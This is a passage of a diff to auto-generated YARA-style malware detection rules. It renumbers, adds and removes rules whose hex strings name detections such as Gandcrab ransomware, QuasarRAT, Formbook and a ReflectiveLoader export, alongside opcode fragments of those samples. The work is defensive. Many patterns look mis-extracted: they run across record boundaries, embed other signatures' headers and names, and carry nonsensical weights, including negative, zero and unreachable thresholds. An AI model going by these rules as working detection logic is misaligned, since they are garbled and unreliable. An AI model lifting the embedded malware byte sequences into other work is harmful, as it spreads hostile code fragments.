72 6f 73 73 52 69 64 65 72 00 02 00 15 80 01 47 6c 6f 62 61 6c 5c 6d 79 73 65 6c 66 4c 6f 67 4d 75 74 65 78 01 00 0d 00 43 72 6f 73 73 72 69 64 65 72 41 70 70 01 00 18 01 2e 3f 41 56 43 43 72 6f 73 73 52 69 64 65 72 4c 6f 67 55 } //27234 + $a_40_2 = {00 00 78 66 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 53 79 73 64 75 70 61 74 65 2e 45 00 01 00 10 03 50 68 39 2b cf 55 e8 90 01 04 83 c4 08 e8 90 00 01 00 10 03 50 68 93 76 29 34 e8 90 01 04 83 c4 08 e8 90 00 01 00 1a 03 50 68 f7 c9 ac ff e8 90 01 04 83 c4 08 e8 90 02 20 0f 0b 89 e2 0f 34 c3 90 00 00 00 78 66 00 00 03 00 } //25971 + condition: + ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*27234+(#a_40_2 & 1)*25971) >=3 + +} +rule _InfrastructureShared_6253{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -61859,7 +64916,7 @@ rule _InfrastructureShared_5958{ ((#a_41_0 & 1)*20515+(#a_00_1 & 1)*16498+(#a_01_2 & 1)*-6092) >=3 } -rule _InfrastructureShared_5959{ +rule _InfrastructureShared_6254{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -61871,7 +64928,7 @@ rule _InfrastructureShared_5959{ ((#a_46_0 & 1)*21283+(#a_0f_1 & 1)*656+(#a_2f_2 & 1)*13166) >=3 } -rule _InfrastructureShared_5960{ +rule _InfrastructureShared_6255{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -61883,7 +64940,7 @@ rule _InfrastructureShared_5960{ ((#a_72_0 & 1)*22051+(#a_57_1 & 1)*14930+(#a_3f_2 & 1)*-17011) >=3 } -rule _InfrastructureShared_5961{ +rule _InfrastructureShared_6256{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -61896,45 +64953,48 @@ rule _InfrastructureShared_5961{ ((#a_54_0 & 1)*18467+(#a_c1_1 & 1)*-29336+(#a_ce_2 & 1)*1024+(#a_5d_4 & 1)*-19967) >=3 } -rule _InfrastructureShared_5962{ +rule _InfrastructureShared_6257{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " strings : $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 5f 76 6f 62 00 01 00 06 01 50 66 b9 50 00 e8 01 00 06 01 50 66 b9 58 00 e8 01 00 06 01 50 66 b9 5b 00 e8 01 00 07 01 51 b9 50 00 00 00 ff 01 00 07 01 51 b9 58 00 00 00 ff 01 00 07 01 51 b9 5b 00 00 00 ff 00 00 78 66 00 00 03 00 03 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 } //25635 $a_69_1 = {36 34 2f 42 72 69 64 67 65 6b 65 65 70 65 72 2e 44 21 64 68 61 00 01 00 04 01 89 ea d5 55 01 00 04 01 a1 d5 53 32 01 00 04 01 76 0a 59 72 01 00 04 01 42 08 ba 46 01 00 04 01 ce 0a 31 7b 01 00 04 01 b2 06 5d 2e 01 00 04 01 d9 07 d6 3f 00 00 78 66 00 00 04 00 04 } //14958 - $a_3a_3 = {72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 62 6f 6f 6b 2e 47 50 50 47 21 4d 54 42 00 04 00 36 03 0a 0f 00 28 90 01 01 00 00 0a 0f 00 28 90 01 01 00 00 0a 58 0f 00 28 90 01 01 00 00 0a 58 6c 23 00 00 00 00 00 e8 87 40 5b 23 00 } //17748 - $a_5a_5 = {90 00 00 00 78 66 00 00 04 00 04 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 72 61 67 74 6f 72 2e 4e 46 21 4d 54 42 00 03 00 2d 03 e8 c2 f5 ff ff 83 c4 18 32 c0 e9 } //22784 + $a_3a_3 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4a 61 69 6b 2e 4e 4a 21 4d 54 42 00 03 00 2f 01 e8 4b 01 00 00 8b 75 08 85 f6 74 58 83 3d a0 c2 44 00 03 75 40 6a 04 e8 49 41 00 00 59 83 65 fc 00 56 e8 6f 54 00 00 59 89 45 } //19521 + $a_74_4 = {01 00 08 01 7a 79 6c 6f 6d 6c 6f 67 00 00 78 66 00 00 04 00 04 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 72 61 67 74 6f 72 2e 4e 46 21 4d 54 42 00 03 00 2d 03 e8 c2 f5 ff ff 83 c4 18 32 c0 e9 90 01 04 8b 4e 1c 8b c1 83 46 10 08 c1 e8 04 a8 01 8b 46 10 8b 78 f8 8b 50 fc 89 55 fc 8b 55 fc 90 00 01 00 06 01 4b 4c 30 49 27 5d 00 00 78 66 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 47 61 6e 64 63 72 61 62 2e 4e 42 21 4d 54 42 00 03 00 21 03 01 26 33 c1 73 90 01 01 70 33 d1 70 6a 89 45 f0 eb 90 01 01 29 84 60 } //-31260 + $a_eb_5 = {6b b8 49 90 00 01 00 12 01 52 65 66 6c 65 63 74 69 76 65 4c 6f 61 64 65 72 40 30 00 00 78 66 00 00 04 00 04 00 03 00 21 23 48 53 54 52 3a 50 55 41 3a 57 69 6e 33 32 2f 41 73 6b 54 6f 6f 6c 62 61 72 2e 47 56 30 30 31 00 02 00 18 00 42 00 41 00 73 00 6b 00 20 00 54 00 6f 00 6f 00 6c 00 62 00 61 00 72 00 01 00 0b 01 41 73 6b 2e 63 6f 6d 31 3e 30 3c 01 00 0d 01 73 63 72 6f 6c 6c 62 61 72 73 3a 6e 6f 00 00 78 66 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 4c 6f 63 6b 79 2e 41 41 21 4d 54 42 00 01 00 05 81 01 2e 6c 6f 63 6b 01 00 0a 81 01 6e 61 73 74 6c 73 2e 64 6c 6c 01 00 09 81 01 6e 61 66 64 65 2e 70 64 62 01 00 12 81 01 57 72 69 74 65 50 72 6f 5f 5f 5f 5f 4d 65 6d 6f 72 79 00 00 78 66 00 } //21897 condition: - ((#a_5f_0 & 1)*25635+(#a_69_1 & 1)*14958+(#a_3a_3 & 1)*17748+(#a_5a_5 & 1)*22784) >=3 + ((#a_5f_0 & 1)*25635+(#a_69_1 & 1)*14958+(#a_3a_3 & 1)*19521+(#a_74_4 & 1)*-31260+(#a_eb_5 & 1)*21897) >=3 } -rule _InfrastructureShared_5963{ +rule _InfrastructureShared_6258{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 72 69 64 67 65 6b 65 65 70 65 72 2e 44 21 64 68 61 00 01 00 04 01 89 ea d5 55 01 00 04 01 a1 d5 53 32 01 00 04 01 76 0a 59 72 01 00 04 01 42 08 ba 46 01 00 04 01 ce 0a 31 7b 01 00 04 01 } //16675 - $a_2e_1 = {00 04 01 d9 07 d6 3f 00 00 78 66 00 00 04 00 04 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 62 6f 6f 6b 2e 47 50 50 47 21 4d 54 42 00 04 00 36 03 0a 0f 00 28 90 01 01 00 00 0a 0f 00 28 90 01 01 00 00 0a 58 0f 00 28 90 01 01 00 00 0a 58 6c 23 00 00 } //1714 - $a_00_3 = {00 00 00 00 00 59 40 5a 0b 90 00 00 00 78 66 00 00 04 00 04 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 } //23360 - $a_69_4 = {33 32 2f 46 72 61 67 74 6f 72 2e 4e 46 21 4d 54 42 00 03 00 2d 03 e8 c2 f5 ff ff 83 c4 18 32 c0 e9 90 01 04 8b 4e 1c 8b c1 83 46 10 08 c1 e8 04 a8 01 8b 46 10 8b 78 f8 8b 50 fc 89 55 fc 8b 55 fc 90 00 01 00 06 01 4b 4c 30 49 27 5d 00 00 78 66 00 00 04 00 04 00 } //14958 - $a_23_5 = {45 4c 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 47 61 6e 64 63 72 61 62 2e 4e 42 21 4d 54 42 00 03 } //2 - $a_01_6 = {26 33 c1 } //8448 + $a_2e_1 = {00 04 01 d9 07 d6 3f 00 00 78 66 00 00 04 00 04 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4a 61 69 6b 2e 4e 4a 21 4d 54 42 00 03 00 2f 01 e8 4b 01 00 00 8b 75 08 85 f6 74 58 83 3d a0 c2 44 00 03 75 40 6a 04 e8 49 41 00 00 59 83 65 fc 00 56 e8 6f 54 00 00 } //1714 + $a_e4_2 = {c0 74 09 01 00 08 01 7a 79 6c 6f 6d 6c 6f 67 00 00 78 66 00 00 04 00 04 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 72 61 67 74 6f 72 2e 4e 46 21 4d 54 42 00 03 00 2d 03 e8 c2 f5 } //-30375 + $a_c4_3 = {32 c0 e9 ?? ?? ?? ?? 8b 4e 1c 8b c1 83 46 10 08 c1 e8 04 a8 01 8b 46 10 8b 78 f8 8b 50 fc 89 55 fc 8b 55 fc 90 00 01 00 06 01 4b 4c 30 49 27 5d 00 00 78 66 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 47 61 6e 64 63 72 61 62 2e 4e 42 21 4d 54 42 00 03 00 21 03 01 26 33 c1 73 ?? 70 33 d1 70 6a 89 45 f0 eb ?? 29 84 60 89 55 f4 eb 01 6b b8 49 } //-1 + $a_01_4 = {52 65 66 6c 65 63 74 69 76 65 4c 6f 61 64 65 72 40 30 } //1 ReflectiveLoader@0 + $a_66_5 = {00 04 00 04 00 03 00 21 23 48 53 54 52 3a 50 55 41 3a 57 69 6e 33 32 2f 41 73 6b 54 6f 6f 6c 62 61 72 2e 47 56 30 30 31 00 02 00 18 00 42 00 41 00 73 00 6b 00 20 00 54 00 6f 00 6f 00 6c 00 62 00 61 00 72 00 01 00 0b 01 41 73 6b 2e 63 6f 6d 31 3e 30 3c 01 00 0d 01 73 63 72 6f 6c 6c 62 61 72 73 3a 6e 6f 00 00 78 66 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 52 } //0 + $a_6f_6 = {3a 57 69 6e 33 32 2f 4c 6f 63 6b 79 2e 41 41 21 4d 54 42 00 01 00 05 81 01 2e 6c 6f 63 6b 01 00 0a 81 01 6e 61 73 74 6c 73 2e 64 6c 6c 01 00 09 81 01 6e 61 66 64 65 2e 70 64 62 01 00 12 81 01 57 72 69 74 65 50 72 6f 5f 5f 5f 5f 4d 65 6d 6f 72 79 00 00 78 66 00 00 04 00 04 00 04 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 53 69 64 65 54 61 } //28257 condition: - ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*1714+(#a_00_3 & 1)*23360+(#a_69_4 & 1)*14958+(#a_23_5 & 1)*2+(#a_01_6 & 1)*8448) >=3 + ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*1714+(#a_e4_2 & 1)*-30375+(#a_c4_3 & 1)*-1+(#a_01_4 & 1)*1+(#a_66_5 & 1)*0+(#a_6f_6 & 1)*28257) >=3 } -rule _InfrastructureShared_5964{ +rule _InfrastructureShared_6259{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 62 6f 6f 6b 2e 47 50 50 47 21 4d 54 42 00 04 00 36 03 0a 0f 00 28 90 01 01 00 00 0a 0f 00 28 90 01 01 00 00 0a 58 0f 00 28 90 01 01 00 00 0a 58 6c 23 00 00 00 } //21539 + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4a 61 69 6b 2e 4e 4a 21 4d 54 42 00 03 00 2f 01 e8 4b 01 00 00 8b 75 08 85 f6 74 58 83 3d a0 c2 44 00 03 75 40 6a 04 e8 49 41 00 00 59 83 65 fc 00 56 e8 6f 54 00 00 59 89 45 e4 85 c0 74 09 } //16675 + $a_01_1 = {7a 79 6c 6f 6d 6c 6f 67 } //1 zylomlog condition: - ((#a_4c_0 & 1)*21539) >=4 + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1) >=4 } -rule _InfrastructureShared_5965{ +rule _InfrastructureShared_6260{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -61945,7 +65005,7 @@ rule _InfrastructureShared_5965{ ((#a_54_0 & 1)*18467+(#a_27_1 & 1)*12364) >=4 } -rule _InfrastructureShared_5966{ +rule _InfrastructureShared_6261{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -61956,7 +65016,7 @@ rule _InfrastructureShared_5966{ ((#a_4c_0 & 1)*21539+(#a_66_1 & 1)*20993) >=4 } -rule _InfrastructureShared_5967{ +rule _InfrastructureShared_6262{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -61968,7 +65028,7 @@ rule _InfrastructureShared_5967{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29554+(#a_73_2 & 1)*28161) >=4 } -rule _InfrastructureShared_5968{ +rule _InfrastructureShared_6263{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -61981,7 +65041,7 @@ rule _InfrastructureShared_5968{ ((#a_46_0 & 1)*16675+(#a_5f_1 & 1)*28530+(#a_65_2 & 1)*25714+(#a_6c_3 & 1)*30825) >=4 } -rule _InfrastructureShared_5969{ +rule _InfrastructureShared_6264{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -61994,43 +65054,32 @@ rule _InfrastructureShared_5969{ ((#a_77_0 & 1)*16675+(#a_53_1 & 1)*8993+(#a_13_2 & 1)*-512+(#a_50_3 & 1)*25927) >=4 } -rule _InfrastructureShared_5970{ +rule _InfrastructureShared_6265{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 33 30 37 21 4d 54 42 00 01 00 0a 81 01 53 61 6e 66 6f 72 64 31 31 32 01 00 07 81 01 54 6f 57 69 6e 33 32 01 00 09 01 08 20 00 02 01 00 fe 04 13 01 00 08 81 01 47 65 74 } //18467 $a_65_1 = {00 00 78 66 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 75 6e 64 6f 2e 67 65 6e 21 50 2e 31 00 01 00 0b 03 f1 ba e4 16 90 09 02 00 81 90 00 01 00 0b 03 9f a4 9b aa 90 09 02 00 81 90 00 01 00 0b 03 c5 83 24 d6 90 09 02 00 81 90 00 01 00 0b 03 a5 c4 af ee 90 09 02 00 81 90 00 00 00 78 66 00 00 05 00 05 00 01 00 21 23 } //26960 - $a_3a_2 = {72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 75 6d 6d 61 43 2e 50 47 4c 21 4d 54 42 00 05 00 39 03 11 05 11 07 1f 28 5a 58 13 08 28 90 01 01 00 00 0a 07 11 08 1e 6f 90 01 01 00 00 0a 17 8d 90 01 01 00 00 01 6f 90 01 01 00 00 0a 13 09 11 } //17748 - $a_01_3 = {01 00 00 0a 72 90 00 00 00 78 66 00 00 05 00 05 00 01 00 21 23 61 74 74 72 6d 61 74 63 68 5f 72 65 73 63 61 6e 5f 72 75 6e 64 6c 6c 33 32 00 05 00 3e 0b 68 22 07 e4 71 50 e8 90 01 02 00 00 89 85 90 01 02 ff ff 58 68 b6 74 75 5d 50 e8 90 01 02 00 00 89 85 90 01 02 ff ff b8 f4 1c 19 0f 50 57 e8 90 01 02 00 00 92 6a 00 90 02 02 ff d2 90 00 00 00 78 66 00 00 07 00 07 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 51 } //10249 + $a_72_2 = {61 74 63 68 5f 72 65 73 63 61 6e 5f 72 75 6e 64 6c 6c 33 32 00 05 00 3e 0b 68 22 07 e4 71 50 e8 90 01 02 00 00 89 85 90 01 02 ff ff 58 68 b6 74 75 5d 50 e8 90 01 02 00 00 89 85 90 01 02 ff ff b8 f4 1c 19 0f 50 57 e8 90 01 02 00 00 92 6a 00 90 02 02 ff d2 90 00 00 00 78 66 00 00 07 00 07 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c } //29793 + $a_61_3 = {61 72 52 41 54 2e 4b 41 59 21 4d 54 42 00 03 00 19 01 ed 89 16 47 a9 26 07 a9 bd 1b 89 ef c7 30 17 94 05 5f ce a3 15 c8 b1 63 61 04 00 19 01 7d 6d 89 b8 c0 06 b3 5b 27 b8 e1 fa 58 fd 7c 3f 5b 1a c1 5e fc 30 6f ab d1 00 00 78 66 00 00 08 00 08 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 75 73 79 2e 4e 5a 21 4d 54 42 00 02 00 } //20783 condition: - ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*26960+(#a_3a_2 & 1)*17748+(#a_01_3 & 1)*10249) >=4 + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*26960+(#a_72_2 & 1)*29793+(#a_61_3 & 1)*20783) >=4 } -rule _InfrastructureShared_5971{ +rule _InfrastructureShared_6266{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 75 6e 64 6f 2e 67 65 6e 21 50 2e 31 00 01 00 0b 03 f1 ba e4 16 90 09 02 00 81 90 00 01 00 0b 03 9f a4 9b aa 90 09 02 00 81 90 00 01 00 0b 03 c5 83 24 d6 90 09 02 00 81 90 00 01 00 0b 03 a5 c4 af ee 90 09 } //18467 - $a_90_1 = {00 00 78 66 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 75 6d 6d 61 43 2e 50 47 4c 21 4d 54 42 00 05 00 39 03 11 05 11 07 1f 28 5a 58 13 08 28 90 01 01 00 00 0a 07 11 08 1e 6f 90 01 01 00 00 0a 17 8d 90 01 01 00 00 01 6f 90 01 01 00 00 0a 13 09 11 09 28 90 01 01 00 00 0a 72 90 00 00 00 78 66 00 00 05 00 05 00 01 00 21 23 61 74 74 72 6d 61 74 63 68 } //2 - $a_73_2 = {61 6e 5f 72 75 6e 64 6c 6c 33 32 00 05 00 3e 0b 68 22 07 e4 71 50 e8 90 01 02 00 00 89 85 90 01 02 ff ff 58 68 b6 74 75 5d 50 e8 90 01 02 00 00 89 85 90 01 02 ff ff b8 f4 1c 19 0f 50 57 e8 90 01 02 00 00 92 6a 00 90 02 02 ff d2 90 00 00 00 78 66 00 00 07 00 07 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 } //29279 - $a_53_3 = {4c 2f 51 75 61 73 61 72 52 41 54 2e 4b 41 59 21 4d 54 42 00 03 00 19 01 ed 89 16 47 a9 26 07 a9 bd 1b 89 ef c7 30 17 94 05 5f ce a3 15 c8 b1 63 61 04 00 19 01 7d 6d 89 b8 c0 06 b3 5b 27 b8 e1 fa 58 fd 7c 3f 5b 1a c1 5e fc 30 6f ab } //14958 + $a_90_1 = {00 00 78 66 00 00 05 00 05 00 01 00 21 23 61 74 74 72 6d 61 74 63 68 5f 72 65 73 63 61 6e 5f 72 75 6e 64 6c 6c 33 32 00 05 00 3e 0b 68 22 07 e4 71 50 e8 90 01 02 00 00 89 85 90 01 02 ff ff 58 68 b6 74 75 5d 50 e8 90 01 02 00 00 89 85 90 01 02 ff ff b8 f4 1c 19 0f 50 57 e8 90 01 02 00 00 92 6a 00 90 02 02 ff d2 90 00 00 00 78 66 00 00 07 00 07 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 } //2 + $a_53_2 = {4c 2f 51 75 61 73 61 72 52 41 54 2e 4b 41 59 21 4d 54 42 00 03 00 19 01 ed 89 16 47 a9 26 07 a9 bd 1b 89 ef c7 30 17 94 05 5f ce a3 15 c8 b1 63 61 04 00 19 01 7d 6d 89 b8 c0 06 b3 5b 27 b8 e1 fa 58 fd 7c 3f 5b 1a c1 5e fc 30 6f ab } //14958 condition: - ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*2+(#a_73_2 & 1)*29279+(#a_53_3 & 1)*14958) >=4 + ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*2+(#a_53_2 & 1)*14958) >=4 } -rule _InfrastructureShared_5972{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 75 6d 6d 61 43 2e 50 47 4c 21 4d 54 42 00 05 00 39 03 11 05 11 07 1f 28 5a 58 13 08 28 90 01 01 00 00 0a 07 11 08 1e 6f 90 01 01 00 00 0a 17 8d 90 01 01 00 00 01 6f 90 } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=5 - -} -rule _InfrastructureShared_5973{ +rule _InfrastructureShared_6267{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -62040,7 +65089,7 @@ rule _InfrastructureShared_5973{ ((#a_74_0 & 1)*24867) >=5 } -rule _InfrastructureShared_5974{ +rule _InfrastructureShared_6268{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 21 " @@ -62051,7 +65100,7 @@ rule _InfrastructureShared_5974{ ((#a_4c_0 & 1)*21539+(#a_b8_1 & 1)*23475) >=7 } -rule _InfrastructureShared_5975{ +rule _InfrastructureShared_6269{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 21 " @@ -62063,7 +65112,7 @@ rule _InfrastructureShared_5975{ ((#a_4c_0 & 1)*21539+(#a_2e_1 & 1)*16975+(#a_01_2 & 1)*10352) >=8 } -rule _InfrastructureShared_5976{ +rule _InfrastructureShared_6270{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -62073,7 +65122,7 @@ rule _InfrastructureShared_5976{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_5977{ +rule _InfrastructureShared_6271{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -62083,7 +65132,7 @@ rule _InfrastructureShared_5977{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_5978{ +rule _InfrastructureShared_6272{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -62093,7 +65142,7 @@ rule _InfrastructureShared_5978{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_5979{ +rule _InfrastructureShared_6273{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -62103,7 +65152,7 @@ rule _InfrastructureShared_5979{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_5980{ +rule _InfrastructureShared_6274{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -62113,7 +65162,18 @@ rule _InfrastructureShared_5980{ ((#a_4c_0 & 1)*21539) >=10 } -rule _InfrastructureShared_5981{ +rule _InfrastructureShared_6275{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 6c 69 70 42 61 6e 6b 65 72 2e 4d 52 21 4d 54 42 00 0a 00 18 03 02 6f 0c 00 00 0a 28 90 01 04 74 0c 00 00 01 0a 38 90 01 04 06 2a 90 00 05 00 1a 03 02 7b 03 00 00 04 14 } //21539 + $a_d0_1 = {00 00 } //4147 + condition: + ((#a_4c_0 & 1)*21539+(#a_d0_1 & 1)*4147) >=15 + +} +rule _InfrastructureShared_6276{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -62123,7 +65183,7 @@ rule _InfrastructureShared_5981{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_5982{ +rule _InfrastructureShared_6277{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -62134,7 +65194,7 @@ rule _InfrastructureShared_5982{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*11825) >=200 } -rule _InfrastructureShared_5983{ +rule _InfrastructureShared_6278{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -62144,7 +65204,7 @@ rule _InfrastructureShared_5983{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5984{ +rule _InfrastructureShared_6279{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -62154,7 +65214,7 @@ rule _InfrastructureShared_5984{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5985{ +rule _InfrastructureShared_6280{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -62164,7 +65224,7 @@ rule _InfrastructureShared_5985{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5986{ +rule _InfrastructureShared_6281{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -62174,7 +65234,7 @@ rule _InfrastructureShared_5986{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5987{ +rule _InfrastructureShared_6282{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -62184,7 +65244,7 @@ rule _InfrastructureShared_5987{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5988{ +rule _InfrastructureShared_6283{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -62194,7 +65254,7 @@ rule _InfrastructureShared_5988{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5989{ +rule _InfrastructureShared_6284{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -62204,7 +65264,7 @@ rule _InfrastructureShared_5989{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5990{ +rule _InfrastructureShared_6285{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -62214,7 +65274,7 @@ rule _InfrastructureShared_5990{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5991{ +rule _InfrastructureShared_6286{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -62224,7 +65284,7 @@ rule _InfrastructureShared_5991{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5992{ +rule _InfrastructureShared_6287{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -62234,7 +65294,7 @@ rule _InfrastructureShared_5992{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5993{ +rule _InfrastructureShared_6288{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -62244,7 +65304,7 @@ rule _InfrastructureShared_5993{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5994{ +rule _InfrastructureShared_6289{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -62254,7 +65314,7 @@ rule _InfrastructureShared_5994{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5995{ +rule _InfrastructureShared_6290{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -62264,7 +65324,7 @@ rule _InfrastructureShared_5995{ ((#a_46_0 & 